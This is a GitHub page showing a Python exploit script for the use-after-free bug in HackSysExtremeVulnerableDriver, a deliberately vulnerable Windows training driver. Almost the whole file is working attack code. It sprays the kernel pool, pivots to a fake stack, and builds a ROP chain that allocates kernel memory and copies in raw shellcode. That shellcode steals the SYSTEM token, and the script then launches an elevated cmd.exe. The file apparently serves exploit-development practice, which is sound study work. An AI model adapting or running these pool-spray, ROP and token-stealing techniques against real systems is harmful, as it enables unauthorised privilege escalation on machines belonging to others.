-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathpy3_uaf.py
383 lines (299 loc) · 13.4 KB
/
py3_uaf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
import os, sys, time, struct
from subprocess import Popen, CREATE_NEW_CONSOLE
import pefile
from ctypes import *
from ctypes.wintypes import *
DEVICE_NAME = b"\\\\.\\HackSysExtremeVulnerableDriver"
#nt+0x1f00: mov esp, 0xe8001b70; ret;
PIVOT_ADDR = 0xe8001b70
OFF_PIVOT_GADGET = 0x1f00
FAKE_STACK_SIZE = 0x20000
POOLTAG = 0x74616731 # kcaH
# print/debug functions
g_debug = True
def info(msg):
print("[*] {}".format(msg))
def success(msg):
print("[+] {}".format(msg))
def error(msg):
print("[!] {}".format(msg))
def debug(msg):
if g_debug:
print("[D] {}".format(msg))
OutputDebugStringA(msg.encode() + b"\n")
# ctypes errcheck functions
gle = windll.kernel32.GetLastError
def errcheck_bool(res, func, args):
le = gle()
if not res and le != 0x1f:
raise Exception("{} failed. GLE: {}".format(func.__name__, le))
return res
def errcheck_drivername(res, func, args):
if res == 0:
raise Exception("{} failed. GLE: {}".format(func.__name__, gle()))
if res == args[2]:
raise Exception("{} failed. Buffer too short. GLE: {}".format(func.__name__, gle()))
return res
def errcheck_createfile(res, func, args):
if res == HANDLE(-1).value: # INVALID_HANDLE_VALUE
raise Exception("Failed to open device {}. GLE: {}".format(args[0], gle()))
return res
def errcheck_virtualalloc(res, func, args):
if res is None:
raise Exception("Failed to allocate memory at {:#x}. GLE: {}".format(args[0], gle()))
return res
# Windows API definitions
GetProcAddress = windll.kernel32.GetProcAddress
GetProcAddress.restype = LPVOID
GetProcAddress.argtypes = [LPVOID, LPCSTR]
LoadLibraryA = windll.kernel32.LoadLibraryA
LoadLibraryA.restype = LPVOID
LoadLibraryA.argtypes = [LPCSTR]
CreateFileA = windll.kernel32.CreateFileA
CreateFileA.restype = HANDLE
# we won't use LPSECURITY_ATTRIBUTES (arg 4) so just use LPVOID
CreateFileA.argtypes = [LPCSTR, DWORD, DWORD, LPVOID, DWORD, DWORD, HANDLE]
CreateFileA.errcheck = errcheck_createfile
# constants for CreateFileA
GENERIC_READ = (1 << 30)
GENERIC_WRITE = (1 << 31)
FILE_SHARE_READ = 1
FILE_SHARE_WRITE = 2
OPEN_EXISTING = 3
FILE_ATTRIBUTE_NORMAL = 0x80
DeviceIoControl = windll.kernel32.DeviceIoControl
DeviceIoControl.restype = BOOL
# we won't use LPOVERLAPPED (arg 8) so just use LPVOID
DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD,
POINTER(DWORD), LPVOID]
DeviceIoControl.errcheck = errcheck_bool
OutputDebugStringA = windll.kernel32.OutputDebugStringA
OutputDebugStringA.argtypes = [LPCSTR]
OutputDebugStringA.restype = None # for void
EnumDeviceDrivers = windll.psapi.EnumDeviceDrivers
EnumDeviceDrivers.restype = BOOL
EnumDeviceDrivers.argtypes = [LPVOID, DWORD, POINTER(DWORD)]
EnumDeviceDrivers.errcheck = errcheck_bool
GetDeviceDriverBaseNameA = windll.psapi.GetDeviceDriverBaseNameA
GetDeviceDriverBaseNameA.restype = DWORD
GetDeviceDriverBaseNameA.argtypes = [LPVOID, LPCSTR, DWORD]
GetDeviceDriverBaseNameA.errcheck = errcheck_drivername
CreateEventA = windll.kernel32.CreateEventA
CreateEventA.restype = HANDLE
CreateEventA.argtypes = [LPVOID, BOOL, BOOL, LPCSTR] # use NULL for LPSECURITY_ATTRIBUTES
CloseHandle = windll.kernel32.CloseHandle
CloseHandle.restype = BOOL
CloseHandle.argtypes = [HANDLE]
SIZE_T = c_size_t
VirtualAlloc = windll.kernel32.VirtualAlloc
VirtualAlloc.restype = LPVOID
VirtualAlloc.argtypes = [LPVOID, SIZE_T, DWORD, DWORD]
VirtualAlloc.errcheck = errcheck_virtualalloc
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
# utility funcs for IOCTL code
METHOD_NEITHER = 3
FILE_ANY_ACCESS = 0
FILE_DEVICE_UNKNOWN = 0x00000022
def CTL_CODE(DeviceType, Function, Method, Access):
return (DeviceType << 16) | (Access << 14) | (Function << 2) | Method
def IOCTL(Function):
return CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX = IOCTL(0x814) # 0x222053
HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX = IOCTL(0x815) # 0x222057
HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX = IOCTL(0x816) # 0x22205B
HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX = IOCTL(0x817) # 0x22205F
# exploit functions
event_objects = []
def spray_and_hole_with_event_obj():
# The Event object size is the same as the UAF object one, so we can spray with the object
for i in range(5000):
event_objects.append(
CreateEventA(None, False, False, None)
)
# free 1, leave 1
for i in range(0, 5000, 2):
CloseHandle(event_objects[i])
event_objects[i] = None
def allocate_and_free_uaf_obj(device_handle):
bytes_returned = c_ulong()
DeviceIoControl(
device_handle,
HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX,
None,
0,
None,
0,
byref(bytes_returned),
None
)
DeviceIoControl(
device_handle,
HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX,
None,
0,
None,
0,
byref(bytes_returned),
None
)
def spray_with_fake_obj(device_handle, addr):
bytes_returned = c_ulong()
#in_buffer = (addr).to_bytes(8, 'little') + b'A' * 0x54
in_buffer = (addr).to_bytes(8, 'little') + b'A' * 0x68 # Changes due to kLFH
for i in range(0x1000):
DeviceIoControl(
device_handle,
HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX,
cast(in_buffer, LPVOID),
len(in_buffer),
None,
0,
byref(bytes_returned),
None
)
def use_uaf_obj(device_handle):
bytes_returned = c_ulong()
DeviceIoControl(
device_handle,
HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX,
None,
0,
None,
0,
byref(bytes_returned),
None
)
def get_device_handle(device):
return CreateFileA(device, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, None)
def get_driver_base(the_name):
lpcbNeeded = DWORD()
EnumDeviceDrivers(None, 0, byref(lpcbNeeded))
num_of_mods = int(lpcbNeeded.value / sizeof(LPVOID))
array = (LPVOID * num_of_mods)()
EnumDeviceDrivers(byref(array), lpcbNeeded, byref(lpcbNeeded))
for ImageBase in array:
lpFilename = LPSTR(b'\x00'*260)
GetDeviceDriverBaseNameA(ImageBase, lpFilename, 260)
#debug('{:#x}: {}'.format(ImageBase, lpFilename.value.decode()))
if the_name in lpFilename.value.lower():
return ImageBase, lpFilename.value
else:
return None, None
def build_shellcode():
ring0_shellcode = b"\x90"
ring0_shellcode += (
b"\x90\x90\x90\x90\x90\x90\x90\x90"
b"\x90\x90\x90\x90\x90\x90\x90\x90"
b"\x90\x90\x90\x90\x90\x90\x90\x90"
b"\x90\x90\x90\x90\x90\x90\x90\x90" # will be overwritten with ROP
b"\x48\x31\xc0" # 00000000: xor rax,rax
b"\x65\x48\x8b\x80\x88\x01\x00\x00" # 00000003: mov rax,[gs:rax+0x188]
b"\x48\x8b\x80\xb8\x00\x00\x00" # 0000000b: mov rax,[rax+0xb8]
b"\x48\x89\xc1" # 00000012: mov rcx,rax
b"\xba\x04\x00\x00\x00" # 00000015: mov edx,0x4
b"\x48\x8b\x80\xf0\x02\x00\x00" # 0000001a: mov rax,[rax+0x2f0]
b"\x48\x2d\xf0\x02\x00\x00" # 00000021: sub rax,0x2f0
b"\x48\x39\x90\xe8\x02\x00\x00" # 00000027: cmp [rax+0x2e8],rdx
b"\x75\xea" # 0000002e: jnz 0x1a
b"\x48\x8b\x90\x60\x03\x00\x00" # 00000030: mov rdx,[rax+0x360]
b"\x48\x89\x91\x60\x03\x00\x00" # 00000037: mov [rcx+0x360],rdx
b"\x58" # 0000003e: pop rax <- kernel StackLimit
b"\x48\x83\xC0\x08" # 0000003f: add rax,0x8
b"\x48\x8B\x08" # 00000043: mov rcx,QWORD PTR [rax]
b"\x48\x81\xF9\x57\x20\x22\x00" # 00000046: cmp rcx,0x222057 <- IOCTL code for UAF object use
b"\x75\xF0" # 0000004d: jne 0x3f
b"\x48\x2D\x20\x00\x00\x00" # 0000004f: sub rax,0x20
b"\x48\x89\xC4" # 00000055: mov rsp,rax
b"\x48\x31\xc0" # 00000058: xor rax,rax
b"\x4d\x31\xe4" # 0000005b: xor r12,r12
b"\xc3" # 0000005e: ret
)
return ring0_shellcode
def GetProcAddressAbsolute(hmodule, realbase, symbol):
return GetProcAddress(hmodule, symbol) - hmodule + realbase
def to_qbytes(value):
return (value).to_bytes(8, 'little')
def build_rop_chain_in_fake_stack(kernel_base, kernel_name, sc, stack_limit):
rop = b''
sc_addr = cast(sc, LPVOID).value
kbase_user = LoadLibraryA(kernel_name)
ExAllocatePoolWithTag = GetProcAddressAbsolute(kbase_user, kernel_base, b'ExAllocatePoolWithTag')
memcpy = GetProcAddressAbsolute(kbase_user, kernel_base, b'memcpy')
rop_nop = to_qbytes(kernel_base + 0x1083) # ret;
dummy = to_qbytes(0xbaadf00dbaadf00d)
#rop += to_qbytes(kernel_base + ) #
rop += to_qbytes(kernel_base + 0x2b1bc) # pop rcx; ret;
rop += to_qbytes(0) # arg1: PoolType (NonPagedPool)
rop += to_qbytes(kernel_base + 0x21c6c2) # pop rdx; ret;
rop += to_qbytes(len(sc)) # arg2: shellcode length
rop += to_qbytes(kernel_base + 0x132a97) # pop r8; ret;
rop += to_qbytes(POOLTAG) # arg3: Tag (Hack)
rop += to_qbytes(ExAllocatePoolWithTag) # API1: ExAllocatePoolWithTag API address
rop += to_qbytes(kernel_base + 0x3505de) # add rsp, 0x20; ret;
rop += dummy * 4 # will be corrupted during the execution
rop += to_qbytes(kernel_base + 0x85fc6) # pop rbx; pop rcx; ret;
rop += dummy # will be corrupted during the execution
rop += to_qbytes(0) # arg1: rcx = 0 (allocated addr will be added)
rop += rop_nop
#rop += to_qbytes(kernel_base + 0x2b1bc) # pop rcx; ret;
#rop += to_qbytes(0) # arg1: rcx = 0 (allocated addr will be added)
rop += to_qbytes(kernel_base + 0x2884d3) # add rsp, 0xb8; ret;
rop += dummy * 23 # will be corrupted during the execution
rop += to_qbytes(kernel_base + 0x21c6c2) # pop rdx; ret;
rop += to_qbytes(sc_addr) # any writable address (allocated addr will be assigned at +0x18)
rop += to_qbytes(kernel_base + 0x3505de) # add rsp, 0x20; ret;
rop += dummy * 4 # will be corrupted during the execution
rop += to_qbytes(kernel_base + 0xb4180) # add rcx, rax; mov qword ptr [rdx + 0x18], rcx; ret;
rop += to_qbytes(kernel_base + 0x21c6c2) # pop rdx; ret;
rop += to_qbytes(sc_addr + 0x20) # arg2: actual shellcode address
rop += to_qbytes(kernel_base + 0x132a97) # pop r8; ret;
rop += to_qbytes(len(sc) - 0x20) # arg3: actual shellcode length
rop += to_qbytes(memcpy) # API2: memcpy API address
rop += to_qbytes(kernel_base + 0x285bb) # jmp rax (dst of memcpy)
rop += to_qbytes(stack_limit) # kernel stack limit (will be used in the shellcode)
return rop
def exploit_use_after_free():
info("Getting device handle: {0}".format(DEVICE_NAME))
device_handle = get_device_handle(DEVICE_NAME)
info("Gathering kernel information")
kernel_base, kernel_name = get_driver_base(b"krnl")
info("Spraying and holing with Event objects")
spray_and_hole_with_event_obj()
info("Allocating and freeing one UAF object")
allocate_and_free_uaf_obj(device_handle)
info("Spraying with Fake objects")
spray_with_fake_obj(device_handle, kernel_base + OFF_PIVOT_GADGET)
info("Building shellcode")
sc = build_shellcode()
sc_addr = cast(sc, LPVOID).value
debug("shellcode at {:#x}".format(sc_addr))
info("Allocating a fake stack")
lpAddress = PIVOT_ADDR - 0x4000 # to prevent UNEXPECTED_KERNEL_MODE_TRAP (Double Fault)
flAllocationType = (MEM_RESERVE | MEM_COMMIT)
flProtect = PAGE_EXECUTE_READWRITE
dwSize = FAKE_STACK_SIZE
reserve_space = VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
debug('reserve_space allocated at {:#x}'.format(reserve_space)) # always allocated at 0xe7ff0000 to 0xe8010000
memset(reserve_space, 0x44, dwSize)
# write to the pages to prevent page out
tmp = LPSTR(b'\x41' * FAKE_STACK_SIZE)
memmove(reserve_space, tmp, FAKE_STACK_SIZE)
info("Getting the kernel StackLimit values (Sometimes it silently exits. Try again if failed.)")
import py3_NtQuerySysInfo_SystemProcessInformation as sys_proc_info
current_pid = sys_proc_info.get_current_pid()
limits = sys_proc_info.get_process_information(current_pid)
stack_limit, stack_base = limits[0]
success('kernel StackLimit = {:#x}'.format(stack_limit))
info("Building ROP chain in the fake stack")
rop = build_rop_chain_in_fake_stack(kernel_base, kernel_name, sc, stack_limit)
memmove(PIVOT_ADDR, rop, len(rop))
info("Triggering use-after-free")
use_uaf_obj(device_handle)
CloseHandle(device_handle)
Popen("cmd.exe", creationflags=CREATE_NEW_CONSOLE, close_fds=True)
if __name__ == "__main__":
exploit_use_after_free()